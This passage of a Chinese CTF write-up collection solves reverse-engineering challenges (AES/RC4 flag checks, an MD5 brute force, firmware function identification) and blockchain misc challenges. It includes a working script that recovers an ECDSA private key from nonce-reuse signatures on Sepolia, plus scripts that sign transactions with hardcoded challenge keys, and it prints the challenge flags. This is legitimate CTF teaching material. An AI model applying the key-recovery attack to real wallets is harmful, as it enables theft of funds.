- **`main`**:对输入做格式校验后,将花括号内 18 字节拷到全局 `Destination`,再调用 **`sub_140001440`** 与常量比对(实为 RC4)。
- **`sub_1400010F0`**(可由 TLS/初始化等路径进入):读取 `Destination` 前若干字节,经 PKCS#7 填充 后做 AES-128-ECB 双分组加密,与内存中 32 字节硬编码密文逐字节比对。
.rdata 中既有用于 RC4 向量初始化的 XMM 常量,也有标准 AES S 盒(`byte_14001D440`),容易误判「整题都是 AES」。实际上:校验 flag 内容的可读解在 AES 链路上;`main` 里的 RC4 是另一套约束(且会得到含不可见字符的结果),与常见平台提交的 flag 往往不一致。
2.`main` 侧(格式 + RC4,简述)
scanf("%25s", …) 读入最多 25 字符。
2. 前缀检查:小端 `WORD` 为 `0x6D78` → **`xm`**;随后 **`ctf{`**(单字节比较)。
3. `Source[18] == '}'`,且 `strlen` 整体为 25 → 花括号内 18 字节。
strncpy(Destination, Source, 0x12),byte_140028B12 = 0 保证 strlen(Destination) == 18。
5. **`sub_140001440`**:`xmmword_14001D420` / `14001D430` 将 S 盒初始化为 `0..255`,密钥为 **`nev_gona_give_up`**,标准 RC4 后与栈上 `v9`/`v10` 常量比对。
若只跟这条算到底,会得到类似 **`nev_gona_letydown` + `0x07`** 的内层,与多数题库「纯可见 flag」不符,需结合下文 AES 路径。
3. AES 链路:`sub_1400010F0`
3.1 密钥材料
栈上 v77[4] 赋值为:
|
|
|
| 下标 |
十进制 |
小端 4 字节 |
| 0–2 |
873608210 |
12 03 23 34 |
| 3 |
559105345 |
41 41 40 21 |
拼成 16 字节 AES-128 密钥:
12 03 23 34 12 03 23 34 12 03 23 34 41 41 40 21
3.2 密钥扩展
**`sub_1400019F0` → `sub_140001D00`**:对 16 字节密钥做 AES KeyExpansion,使用 `byte_14001D440` 的 S 盒及偏移处的 Rcon,与 OpenSSL/Crypto 标准实现一致。
3.3 明文与分组
**`sub_140001690(Src, len)`**:`memcpy` 后按 PKCS#7 将长度补到 16 的倍数。
Destination 中花括号内为 18 字节时,补 14 个 `0x0E`,总长 32 字节。
3.4 加密
**`sub_1400019E0`** 即 **`sub_140001A00`**:对 4×4 状态做 SubBytes、ShiftRows、MixColumns、AddRoundKey,共 10 轮,即 AES-128。
sub_1400010F0 中循环 2 次,每次处理 16 字节 → AES-128-ECB,两分组。
3.5 密文校验(从反编译提取)
按链式条件整理出 32 字节目标密文(索引与 `v8[]` 一致):
F2 7B 7E 75 B4 5C 08 FA 19 3C 8A 4A 04 F8 1F 67
1B 05 9C E7 27 40 78 6D 28 F6 A8 B8 06 C6 C5 51
(首字节由 v8[1]=='{' 且 v8[0]==0xF2 等条件共同约束。)
4. 解密求 Flag
使用 AES-128-ECB,密钥为上述 16 字节,对上述 32 字节做 decrypt,再 去除 PKCS#7,得到 18 字节明文:
R3a1_w0rld_M47ters
含义可读作:Real_world_Matters(leet 写法)。
外层格式仍为题目在 `main` 中要求的 **`xmctf{...}`**,故最终 flag:
xmctf{R3a1_w0rld_M47ters}
import struct
import sys
try:
from Crypto.Cipher import AES
except ImportError:
print("pip install pycryptodome", file=sys.stderr)
sys.exit(1)
v77[0..3] 小端拼成 16 字节 AES-128 密钥
KEY = struct.pack("<IIII", 873608210, 873608210, 873608210, 559105345)
sub_1400010F0 中 v8[0..31] 目标密文(32 字节,2×AES 块)
CIPHERTEXT = bytes.fromhex(
"f27b7e75b45c08fa193c8a4a04f81f67"
"1b059ce72740786d28f6a8b806c6c551"
)
def pkcs7_unpad(data: bytes) -> bytes:
if not data:
raise ValueError("empty data")
pad = data[-1]
if pad < 1 or pad > 16:
raise ValueError(f"invalid PKCS#7 pad byte: {pad}")
if not all(b == pad for b in data[-pad:]):
raise ValueError("invalid PKCS#7 padding")
return data[:-pad]
def main() -> None:
cipher = AES.new(KEY, AES.MODE_ECB)
plain_padded = cipher.decrypt(CIPHERTEXT)
inner = pkcs7_unpad(plain_padded).decode("ascii")
print("key (hex):", KEY.hex())
print("ciphertext (hex):", CIPHERTEXT.hex())
print("inner (18 bytes):", inner)
print("flag:", f"xmctf{{{inner}}}")
if name == "main":
main()
flag:xmctf{R3a1_w0rld_M47ters}

移动的秘密
程序提示输入 flag(scanf("%29s", ...),最长 29 字符),校验通过后输出 right,否则 wrong。
校验分为两层,必须同时通过:
1. 对输入每个字节做 **`unsigned char` 意义下的右移 1 位**(即 `c >> 1`),得到 29 字节序列,与 `.rodata` 中两段 `xmmword` 重叠拼接后的常量比较。
2. 将原始输入串(长度 `strlen(s)`)送入一段与 MD5 等价的更新与填充逻辑,得到的 16 字节摘要再与另一处常量比较。
2. 第一层:`>> 1` 丢了最低位
反编译 main 中核心循环可概括为:
for (i = 0; i < len; i++)
buf[i] = (unsigned char)s[i] >> 1;
// memcmp(buf, expected_29_bytes, len) 需为真
对任意目标字节 T,若存在 c 满足 (c >> 1) == T,则:
\[
c \in \{ (T \ll 1),\ (T \ll 1) \mid 1 \}
\]
即每个字符只有两种可能(最低位 0 或 1)。单独靠这一层无法唯一确定 flag,需要第二层缩小搜索空间。
.rodata 中先用 `xmmword_3080` 写入 `v14[0..15]`,再在 `v14+13` 处写入 `xmmword_3090`,因此 13..15 与 3090 前 3 字节重叠覆盖,最终得到 29 字节期望序列(与从 IDA 读出的内存一致)。
3. 第二层:标准 MD5
在 0x3060 处可读到 16 字节:
01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
按小端 32 位字解读即为 MD5 标准初始向量 IV(`0x67452301, 0xEFCDAB89, ...`)。
sub_1DF0 为按块更新(含长度计数与 memcpy 块处理),`sub_13C0` 为 MD5 压缩轮函数,`sub_1F60` 完成 0x80 填充、长度附加 并输出 16 字节小端状态作为摘要。
main 将 IV 载入局部结构后,对用户输入的原始字符串调用更新与终结,结果与 **`0x3070`** 处的 16 字节目标比较。
因此第二层等价于:
MD5(输入字符串) == 目标摘要(二进制与 0x3070 处一致)
4. 解题思路
从二进制或 IDA 中导出:expected_shifted[29]、md5_target[16]。
对每个位置 i,候选字符为 c0 = (T<<1)&0xff、c1 = c0|1。
3. 若要求可读 flag 格式 **`xmctf{...}`**:
- 前 6 个字符在 `>>1` 约束下唯一确定为 `xmctf{`(例如 `{` 必须取 `0x7b` 而非 `0x7a`)。
末位 } 对应 T=0x3e 时须取 0x7d。
4. 中间剩余位置的二义性共约 22 bit,枚举 `2^22` 种组合,对每种计算 MD5,与目标匹配即得 flag。
复杂度约 4×10⁶ 次 MD5,普通 PC 上秒级可完成。
#!/usr/bin/env python3
-*- coding: utf-8 -*-
from future import annotations
import hashlib
#第一层: (flag[i] >> 1) 应等于该序列(29 字节)
SHIFTED_EXPECTED = bytes(
[
0x3C,
0x36,
0x31,
0x3A,
0x33,
0x3D,
0x3B,
0x32,
0x36,
0x31,
0x18,
0x36,
0x32,
0x2F,
0x19,
0x2F,
0x38,
0x37,
0x36,
0x30,
0x39,
0x18,
0x39,
0x2F,
0x18,
0x18,
0x19,
0x19,
0x3E,
]
)
#第二层: MD5(flag) 的 16 字节原始输出(与内存 0x3070 一致)
MD5_TARGET = bytes(
[
0x3A,
0x22,
0xC0,
0x98,
0x71,
0x00,
0x19,
0xB3,
0x1C,
0x32,
0x8A,
0x86,
0x14,
0x29,
0xD3,
0xAD,
]
)
def char_from_shifted(byte_shifted: int, lsb: int) -> int:
"""由 (c >> 1) == byte_shifted 恢复 c,lsb in {0,1}。"""
return ((byte_shifted << 1) | (lsb & 1)) & 0xFF
def build_flag(mask: int, prefix_bits: list[tuple[int, int]], suffix_bits: list[tuple[int, int]]) -> bytes:
"""
prefix_bits / suffix_bits: [(index, lsb), ...] 固定位置的比特选择。
mask: 对剩余下标按顺序取比特(低位对应第一个自由位)。
"""
n = len(SHIFTED_EXPECTED)
chars = [0] * n
fixed = dict(prefix_bits + suffix_bits)
free_indices = [i for i in range(n) if i not in fixed]
assert len(free_indices) <= 32
for i, lsb in fixed.items():
chars[i] = char_from_shifted(SHIFTED_EXPECTED[i], lsb)
m = mask
for k, i in enumerate(free_indices):
lsb = (m >> k) & 1
chars[i] = char_from_shifted(SHIFTED_EXPECTED[i], lsb)
return bytes(chars)
def solve() -> bytes | None:
# xmctf{ 与 } 在 >>1 约束下的典型选择(与 WP 一致)
prefix_bits = [
(0, 0), # 'x'
(1, 1), # 'm'
(2, 1), # 'c'
(3, 0), # 't'
(4, 0), # 'f'
(5, 1), # '{'
]
suffix_bits = [(28, 1)] # '}'
free_indices = [i for i in range(len(SHIFTED_EXPECTED)) if i not in dict(prefix_bits + suffix_bits)]
total = 1 << len(free_indices)
print(f"[*] 枚举 {len(free_indices)} 个自由位, 共 {total} 种组合 ...")
for mask in range(total):
candidate = build_flag(mask, prefix_bits, suffix_bits)
if hashlib.md5(candidate).digest() == MD5_TARGET:
return candidate
return None
def main() -> None:
import sys
if hasattr(sys.stdout, "reconfigure"):
try:
sys.stdout.reconfigure(encoding="utf-8")
except Exception:
pass
flag = solve()
if flag is None:
print("[-] 未找到满足 MD5 的字符串(请检查常量是否与当前二进制一致)")
return
s = flag.decode("ascii")
print("[+] Flag:", s)
# 自证:>>1 与 MD5
shifted = bytes((b >> 1) & 0xFF for b in flag)
assert shifted == SHIFTED_EXPECTED
assert hashlib.md5(flag).digest() == MD5_TARGET
print("[+] 校验: >>1 序列与 MD5 均匹配。")
if name == "main":
main()

Flag:xmctf{welc0me_2_polar1s_1022}
ezFinger
一、`sub_8003498`(0x8003498)
反编译要点
函数内大量访问固定外设地址:
- `0x40023804`:STM32F4 系列 RCC->PLLCFGR
- `0x40023808`:RCC->CFGR
并根据 SYSCLK 来源(HSI/HSE/PLL)、PLL 参数做整数运算,最终返回一个 频率值(Hz 量级)。这与 ST 官方 HAL 中根据 RCC 寄存器计算系统时钟的例程一致。
交叉引用
对 `0x8003498` 做 xref,可见调用方(如 `sub_800356C`)在修改 `RCC_CFGR`、配合 `PWR` 相关寄存器后,执行:
dword_20000024 = sub_8003498() >> ...;
典型用途:时钟树配完后,把 当前 SYSCLK 频率存下来,供 SysTick 或延时库使用。进一步印证这是「取系统时钟频率」而不是单纯读 HCLK 分频后的 `HAL_RCC_GetHCLKFreq`(后者通常显式包含 AHB 预分频)。
结论:
**`sub_8003498` ↔ `HAL_RCC_GetSysClockFreq`**
二、`sub_8000EC0`(0x8000EC0)
反编译要点
逻辑概要:
1. 第一个参数视为 Arduino 风格的逻辑引脚号;若大于 `0x5F` 则无效。
2. 通过全局表 **`aInMKi`** 做映射(等价于 `digitalPinToPinName` 一类 pin map)。
3. 调用 **`sub_8000F10`**:按「端口 + 引脚位」从某结构里取位,判断引脚是否已配置——与 Arduino Core 里 **`g_digPinConfigured` / is_pin_configured** 一类位图一致。
4. 再经 **`sub_8000F64`** 得到 GPIO 外设基址,**`sub_800128E` → `sub_800227C`** 写入端口寄存器。
关键底层:`sub_800227C`
反编译形态为:
目标地址 = GPIO_base + 0x18
- STM32 **`GPIO_TypeDef`** 中 **`BSRR` 偏移正是 0x18**(十进制 24)。
- 根据第三参数决定写入低 16 位或高 16 位,对应 置位 / 复位 引脚电平。
这是 **`HAL_GPIO_WritePin` 的核心写 BSRR 行为**;但本题问的是 ****`0x8000EC0` 这一层****的语义名称,而不是最里层 HAL。
字符串侧证
固件中存在 Arduino STM32 包路径类字符串,例如指向:
.../packages/STM32/hardware/stm32/1.3.0/cores/arduino/HardwareSerial.cpp
说明工程基于 Arduino_Core_STM32,GPIO 数字输出 API 为 **`digitalWrite(uint32_t ulPin, uint32_t ulVal)`**,其实现正是:pin 名解析 → 检查是否 `pinMode` 配置过 → 调 `digital_io_write`(最终写 BSRR)。
Flag:xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}
**misc**
**抄作业**
from web3 import Web3
import requests
import time
RPC_URL = "http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/rpc"
PLAYER = "0x31BA9B7D5b2593772137979306e3faE2A367E74D"
PRIVATE_KEY = "0x6b1d7f04f79eb5caa2f67beefa542656555f0285cffc6a361f44d8e384917df7"
TARGET = "0x75537828f2ce51be7289709686A69CbFDbB714F1"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
print(f"连接状态: {w3.is_connected()}")
print("=== 分析函数 0x5e36bdc6 ===")
for addr in \[PLAYER, "0x0000000000000000000000000000000000000000", TARGET\]:
calldata = "0x5e36bdc6" + addr\[2:\].zfill(64)
try:
result = w3.eth.call({
'to': TARGET,
'data': calldata
})
value = int.from_bytes(result, 'big')
print(f" {addr}: {value} ({bool(value)})")
except Exception as e:
print(f" {addr}: 失败 - {e}")
print("\\n=== 分析函数 0xaab2fcd2 ===")
print("尝试调用 0xaab2fcd2...")
test_cases = \[
(1, 1, 2),
(2, 3, 5),
(10, 20, 30),
(100, 200, 300),
(0, 0, 0),
(1, 2, 3),
(5, 5, 10),
(1000000000000000000, 1000000000000000000, 2000000000000000000),
\]
for a, b, c in test_cases:
calldata = "0xaab2fcd2" + hex(a)\[2:\].zfill(64) + hex(b)\[2:\].zfill(64) + hex(c)\[2:\].zfill(64)
try:
\# 先尝试 view 调用
result = w3.eth.call({
'to': TARGET,
'data': calldata
})
print(f" view 调用成功: {a} + {b} = {c} -> {result.hex()}")
except Exception as e:
\# view 失败可能是因为会修改状态,尝试发送交易
try:
nonce = w3.eth.get_transaction_count(PLAYER)
tx = {
'from': PLAYER,
'to': TARGET,
'data': calldata,
'nonce': nonce,
'gas': 100000,
'gasPrice': w3.eth.gas_price
}
\# 估算 gas
gas = w3.eth.estimate_gas(tx)
tx\['gas'\] = gas
signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
print(f" 交易已发送: {tx_hash.hex()} (参数: {a}, {b}, {c})")
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f" 交易状态: {'✅ 成功' if receipt.status == 1 else '❌ 失败'}")
if receipt.status == 1:
print(f"\\n🎉 找到正确的参数! {a} + {b} = {c}")
\# 检查玩家状态是否被设置
calldata_check = "0x5e36bdc6" + PLAYER\[2:\].zfill(64)
result = w3.eth.call({
'to': TARGET,
'data': calldata_check
})
player_status = int.from_bytes(result, 'big')
print(f"玩家状态变为: {player_status}")
\# 检查解题状态
time.sleep(2)
response = requests.post("http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/api/solve", json={})
data = response.json()
if data.get('solved'):
print(f"\\n🎉🎉🎉 FLAG: {data.get('flag')} 🎉🎉🎉")
break
except Exception as e:
print(f" 交易失败: {e}")
print("\\n=== 从字节码解读验证逻辑 ===")
print("\\n尝试其他运算...")
for a, b, c in \[(2, 3, 6), (3, 4, 12), (5, 5, 25)\]:
calldata = "0xaab2fcd2" + hex(a)\[2:\].zfill(64) + hex(b)\[2:\].zfill(64) + hex(c)\[2:\].zfill(64)
try:
nonce = w3.eth.get_transaction_count(PLAYER)
tx = {
'from': PLAYER,
'to': TARGET,
'data': calldata,
'nonce': nonce,
'gas': 100000,
'gasPrice': w3.eth.gas_price
}
signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
print(f" 乘法测试 {a}\*{b}={c}: {tx_hash.hex()}")
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
if receipt.status == 1:
print(f" ✅ 成功!")
break
else:
print(f" ❌ 失败")
except Exception as e:
print(f" 失败: {e}")
print("\\n尝试减法...")
for a, b, c in \[(5, 3, 2), (10, 4, 6), (100, 30, 70)\]:
calldata = "0xaab2fcd2" + hex(a)\[2:\].zfill(64) + hex(b)\[2:\].zfill(64) + hex(c)\[2:\].zfill(64)
try:
nonce = w3.eth.get_transaction_count(PLAYER)
tx = {
'from': PLAYER,
'to': TARGET,
'data': calldata,
'nonce': nonce,
'gas': 100000,
'gasPrice': w3.eth.gas_price
}
signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
if receipt.status == 1:
print(f" ✅ 成功! {a}-{b}={c}")
break
except:
pass
print("\\n=== 尝试直接解题 ===")
calldata_solve = "0xaab2fcd2" + hex(1)\[2:\].zfill(64) + hex(2)\[2:\].zfill(64) + hex(3)\[2:\].zfill(64)
try:
nonce = w3.eth.get_transaction_count(PLAYER)
tx = {
'from': PLAYER,
'to': TARGET,
'data': calldata_solve,
'nonce': nonce,
'gas': 100000,
'gasPrice': w3.eth.gas_price
}
signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"交易状态: {'成功' if receipt.status == 1 else '失败'}")
if receipt.status == 1:
\# 检查玩家状态
calldata_check = "0x5e36bdc6" + PLAYER\[2:\].zfill(64)
result = w3.eth.call({
'to': TARGET,
'data': calldata_check
})
player_status = int.from_bytes(result, 'big')
print(f"玩家状态: {player_status}")
\# 检查 flag
response = requests.post("http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/api/solve", json={})
data = response.json()
if data.get('solved'):
print(f"\\n🎉🎉🎉 FLAG: {data.get('flag')} 🎉🎉🎉")
else:
print("未解决,可能需要正确的参数")
except Exception as e:
print(f"交易失败: {e}")
print("\\n=== 等待最终结果 ===")
time.sleep(3)
response = requests.post("http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/api/solve", json={})
print(f"最终解题状态: {response.json()}"
**口算私钥**
1\. **不能**从地址「反推」随机私钥;题面「口算」暗示私钥有规律或信息泄露。
2\. 在 Sepolia 上查看该地址交易:仅有 **两笔转出**,且两笔 ECDSA 签名的 **\*\*\`r\` 完全相同\*\***。
3\. 这说明两次签名 **\*\*复用了同一个随机数 \`k\`\*\***(nonce reuse),属于经典实现错误,可用两条消息的哈希 \`z1,z2\` 与 \`(r,s1),(r,s2)\` 在 secp256k1 阶 \`n\` 下恢复私钥。
4\. 链上记录的 \`s\` 与签名方程中使用的有效值可能对应 **\*\*\`s\` 或 \`n-s\`(可锻性)\*\***,且不一定与「\`s > n/2\`」简单对应。实操应对 **\*\*\`(s1, s2)\` 在 \`{s, n-s}\` 下枚举少量组合\*\***,用恢复出的地址是否等于题目 \`owner\` 来判定哪一组正确(脚本里已自动完成)。
恢复出 owner 私钥后,在题目链上对公布的 Challange 地址调用 solve(),再请求题目站的 POST /api/solve 拿 flag。
**数学要点(nonce reuse)**
给定 ECDSA(secp256k1)签名公式:
s≡k−1(z+rd)(modn)
若同一私钥 dd、同一随机数 kk 签署了两条不同消息,则 rr 相同,于是:
{s1≡k−1(z1+rd)(modn)s2≡k−1(z2+rd)(modn)
两式相减得:
s1−s2≡k−1(z1−z2)(modn)
整理得:
k≡(z1−z2)(s1−s2)−1(modn)
代回原式求私钥 d:
d≡r−1(s1k−z1)(modn)
其中 (s1−s2)−1和 r−1均在模 nn 下求逆元。
其中 \\(z_i\\) 为 **该笔交易在 EIP-155 下用于签名的哈希**(Legacy:\`keccak256(RLP(\[nonce, gasPrice, gas, to, value, data, chainId, 0, 0\]))\`),实现上可直接使用 \`eth_account\` 对未签名交易做 RLP 再 \`keccak\`。
**Sepolia 上用于恢复的两笔交易(示例)**
(以题面当时数据为准,若区块浏览器排序变化以「同一 r 的两笔转出」为准。)
| | |
| --- | --- |
| 顺序 | Tx |
| nonce 0 | 0x724331da3fb30695b44340df454cca06ddd296f86d1eb250af86a800029ff380 |
| nonce 1 | 0x1bdc4cc1939e6b045e6dd6e306ce47c72cbb216e5ae94db32b789961d6369b0b |
两笔 r 均为 0xd67a8d3fddda5bfc00366b6dd51278e14593cace8154d20136c21567456e1937。
**恢复结果与「口算」感**
正确处理后得到的私钥为 **\*\*16 段重复的 \`0xf149\`\*\***,即高度规律、便于记忆,与题目标题「口算私钥」呼应。
from **future** import annotations
import json
import os
import sys
import urllib.error
import urllib.request
from typing import Any
from eth_account import Account
from eth_account.\_utils.legacy_transactions import serializable_unsigned_transaction_from_dict
from eth_hash.auto import keccak
from rlp.codec import encode
secp256k1 order
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
def \_rpc(url: str, method: str, params: list\[Any\]) -> dict\[str, Any\]:
body = json.dumps({"jsonrpc": "2.0", "method": method, "params": params, "id": 1}).encode()
req = urllib.request.Request(
url,
data=body,
headers={
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (compatible; ctf-solve/1.0)",
},
method="POST",
)
with urllib.request.urlopen(req, timeout=60) as resp:
out = json.loads(resp.read().decode())
if "error" in out:
raise RuntimeError(out\["error"\])
return out\["result"\]
def \_int_hex(x: str | int) -> int:
if isinstance(x, int):
return x
return int(x, 16)
def tx_to_unsigned_dict(tx: dict\[str, Any\]) -> dict\[str, Any\]:
inp = tx.get("input") or "0x"
data = bytes.fromhex(inp\[2:\]) if len(inp) > 2 else b""
return {
"nonce": \_int_hex(tx\["nonce"\]),
"gasPrice": \_int_hex(tx\["gasPrice"\]),
"gas": \_int_hex(tx\["gas"\]),
"to": bytes.fromhex(tx\["to"\]\[2:\]),
"value": \_int_hex(tx\["value"\]),
"data": data,
"chainId": \_int_hex(tx\["chainId"\]),
}
def signing_hash_legacy_eip155(tx: dict\[str, Any\]) -> int:
d = tx_to_unsigned_dict(tx)
ut = serializable_unsigned_transaction_from_dict(d)
return int(keccak(encode(ut)).hex(), 16)
def modinv(a: int, m: int = N) -> int:
return pow(a, -1, m)
def \_recover_d_from_reuse(z1: int, z2: int, r: int, s1: int, s2: int) -> int | None:
s_diff = (s1 - s2) % N
if s_diff == 0:
return None
z_diff = (z1 - z2) % N
k = (z_diff \* modinv(s_diff)) % N
if k == 0:
return None
return ((s1 \* k - z1) % N \* modinv(r)) % N
def recover_private_key_nonce_reuse(
tx1: dict\[str, Any\],
tx2: dict\[str, Any\],
\*,
expected_address: str | None = None,
) -> bytes:
r1 = \_int_hex(tx1\["r"\])
r2 = \_int_hex(tx2\["r"\])
if r1 != r2:
raise ValueError("r 不同,不是典型的同 k 复用场景")
z1 = signing_hash_legacy_eip155(tx1)
z2 = signing_hash_legacy_eip155(tx2)
raw_s1 = \_int_hex(tx1\["s"\])
raw_s2 = \_int_hex(tx2\["s"\])
candidates: list\[tuple\[int, int\]\] = \[
(raw_s1, raw_s2),
(raw_s1, N - raw_s2),
(N - raw_s1, raw_s2),
(N - raw_s1, N - raw_s2),
\]
found: list\[bytes\] = \[\]
for s1, s2 in candidates:
d = \_recover_d_from_reuse(z1, z2, r1, s1, s2)
if d is None or d == 0:
continue
pk = d.to_bytes(32, "big")
try:
addr = Account.from_key(pk).address
except Exception:
continue
if expected_address is None or addr.lower() == expected_address.lower():
found.append(pk)
if not found:
raise ValueError("无法用 k 复用公式恢复私钥(检查交易类型/哈希是否为 EIP-155 Legacy)")
if expected_address is not None:
return found\[0\]
\# 未指定期望地址时:若多种 (s 形式) 都产生合法私钥,优先返回第一个(调用方应传入 expected_address)
return found\[0\]
def fetch_flag(base_url: str) -> dict\[str, Any\]:
url = base_url.rstrip("/") + "/api/solve"
req = urllib.request.Request(
url,
data=b"{}",
headers={
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (compatible; ctf-solve/1.0)",
},
method="POST",
)
with urllib.request.urlopen(req, timeout=60) as resp:
return json.loads(resp.read().decode())
def send_solve_challenge(
challenge_rpc: str,
challange_addr: str,
owner_key: bytes,
) -> str:
acct = Account.from_key(owner_key)
res_nonce = \_rpc(challenge_rpc, "eth_getTransactionCount", \[acct.address, "latest"\])
nonce = int(res_nonce, 16)
chain_id = int(\_rpc(challenge_rpc, "eth_chainId", \[\]), 16)
gas_price = int(\_rpc(challenge_rpc, "eth_gasPrice", \[\]), 16)
sel = keccak(b"solve()")\[:4\]
data = "0x" + sel.hex()
tx = {
"nonce": nonce,
"gasPrice": gas_price,
"gas": 100_000,
"to": challange_addr,
"value": 0,
"data": data,
"chainId": chain_id,
}
signed = acct.sign_transaction(tx)
raw = signed.raw_transaction.hex()
if not raw.startswith("0x"):
raw = "0x" + raw
return str(\_rpc(challenge_rpc, "eth_sendRawTransaction", \[raw\]))
def main() -> int:
sepolia_rpc = os.environ.get(
"SEPOLIA_RPC",
"https://ethereum-sepolia-rpc.publicnode.com",
)
tx_a = os.environ.get(
"SEPOLIA_TX1",
"0x724331da3fb30695b44340df454cca06ddd296f86d1eb250af86a800029ff380",
)
tx_b = os.environ.get(
"SEPOLIA_TX2",
"0x1bdc4cc1939e6b045e6dd6e306ce47c72cbb216e5ae94db32b789961d6369b0b",
)
challenge_rpc = os.environ.get(
"CHALLENGE_RPC",
"http://80-84dcaea6-555c-4c0f-b837-3b0927be49d9.challenge.ctfplus.cn/rpc",
)
challenge_origin = os.environ.get(
"CHALLENGE_ORIGIN",
"http://80-84dcaea6-555c-4c0f-b837-3b0927be49d9.challenge.ctfplus.cn",
)
challange_addr = os.environ.get(
"CHALLANGE",
"0x75537828f2ce51be7289709686A69CbFDbB714F1",
)
print("\[\*\] Sepolia: 拉取交易 …")
t1 = \_rpc(sepolia_rpc, "eth_getTransactionByHash", \[tx_a\])
t2 = \_rpc(sepolia_rpc, "eth_getTransactionByHash", \[tx_b\])
if not t1 or not t2:
print("\[-\] 无法获取交易(检查哈希或 RPC)", file=sys.stderr)
return 1
expected_owner = os.environ.get(
"EXPECTED_OWNER",
"0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934",
)
pk = recover_private_key_nonce_reuse(
t1, t2, expected_address=expected_owner
)
acct = Account.from_key(pk)
print(f"\[+\] 恢复私钥对应地址: {acct.address}")
print(f"\[+\] 私钥(仅用于 CTF 环境): 0x{pk.hex()}")
print("\[\*\] 题目链: 发送 solve() …")
try:
txh = send_solve_challenge(challenge_rpc, challange_addr, pk)
print(f"\[+\] solve tx: {txh}")
except urllib.error.URLError as e:
print(f"\[!\] 发送 solve 失败(可能已解过或 RPC/网络问题): {e}")
print("\[\*\] 请求 /api/solve …")
try:
data = fetch_flag(challenge_origin)
except urllib.error.URLError as e:
print(f"\[-\] 拉取 flag 失败: {e}", file=sys.stderr)
return 1
if data.get("solved"):
print(f"\[+\] flag: {data.get('flag')}")
return 0
print(f"\[-\] 未判定为已解: {data}", file=sys.stderr)
return 2
if **name** == "**main**":
raise SystemExit(main())
**WhoRU?**
<div class="joplin-table-wrapper"><table><tbody><tr><td><p>思路:</p><p>1. 在附件中抓取<strong>不易随重构消失</strong>的特征:报错字符串、魔法数字、GET 参数名、算法步骤、常量命名等。</p><p>2. 使用 <strong>GitHub 代码搜索</strong>(需登录)或第三方索引(如 [grep.app](https://grep.app) 的 API:`https://grep.app/api/search?q=...`)在全站检索。</p><p>3. 命中仓库后,拉取 <strong>raw</strong> 源码与附件逐段对照,确认仅为改名/拆包而非巧合相似。</p><p><strong>第一关:`1.java`</strong></p><p><a id="heading_38"></a><strong>附件特征</strong></p><ul><li>包名 com.ctf.micro.auth.plugin、类名 MicroAuthTokenManager,明显为出题人改写。</li></ul><p>JWT 相关逻辑:AUTH_DISABLED_TOKEN = "AUTH_DISABLED"、createToken / getAuthentication、Base64 解码密钥等。</p><p>- <strong>关键指纹</strong>:异常信息里固定出现笔误</p><p>`the length of secret key must great than or equal 32 bytes`(应为 <em>greater</em>)。</p><p><a id="heading_39"></a><strong>定位过程</strong></p><p>在公开代码中检索上述句子或 `AUTH_DISABLED_TOKEN` 与 JWT 管理类组合,可定位到 <strong>Nacos</strong> 默认认证插件中的 `JwtTokenManager.java`(例如 `develop` 分支路径:`plugin-default-impl/nacos-default-auth-plugin/.../JwtTokenManager.java`)。</p><p>对照可见:附件删去了 Nacos 依赖与 NacosJwtParser,改用 JJWT 直写,但错误文案、AUTH_DISABLED 行为、tokenValidityInSeconds / encodedSecretKey 等与官方文件一致。</p><p><a id="heading_40"></a><strong>答案</strong></p><p>alibaba_nacos</p><p><strong>参考:</strong> [JwtTokenManager.java(alibaba/nacos)](https://github.com/alibaba/nacos/blob/develop/plugin-default-impl/nacos-default-auth-plugin/src/main/java/com/alibaba/nacos/plugin/auth/impl/token/impl/JwtTokenManager.java)</p><p><strong>第二关:`2.cpp`</strong></p><p><strong>附件特征</strong></p><p>类名 StreamStateAnalyzer,依赖 LookupTables.hpp、StreamStateAnalyzer.hpp。</p><p>- 核心为 <strong>ZIP Traditional Crypto(ZipCrypto)</strong> 已知明文攻击中的 <strong>Z-list 回溯</strong>:`recursiveZlistExploration`、`crc32inv`、由 keystream 字节枚举 `z` 低位、与 `MULT_INV`、`getFiber`(或等价 fiber 表)配合过滤 `Y` 状态等。</p><p><strong>定位过程</strong></p><p>StreamStateAnalyzer 等符号在索引中可能搜不到(已改名)。改搜<strong>算法结构</strong>:与经典实现 <strong>bkcrack</strong> 的 `Attack::exploreZlists` 逐行对应:</p><table><tbody><tr><td><p>附件</p></td><td><p>bkcrack Attack.cpp</p></td></tr><tr><td><p>trigger / recursiveZlistExploration</p></td><td><p>carryout / exploreZlists</p></td></tr><tr><td><p>m_start_idx = offset + 1 - CONTIGUOUS_BLOCK_SIZE</p></td><td><p>index{index + 1 - Attack::contiguousSize}</p></td></tr><tr><td><p>LookupTables::getInvCrc32</p></td><td><p>Crc32Tab::getZim1_10_32</p></td></tr><tr><td><p>getZLowCandidates</p></td><td><p>KeystreamTab::getZi_2_16_vector</p></td></tr><tr><td><p>calcYHigh</p></td><td><p>Crc32Tab::getYi_24_32</p></td></tr><tr><td><p>getFiber / MAX_DIFF_24</p></td><td><p>MultTab::getMsbProdFiber3 / maxdiff<24></p></td></tr></tbody></table><p></p><p>可确认附件为 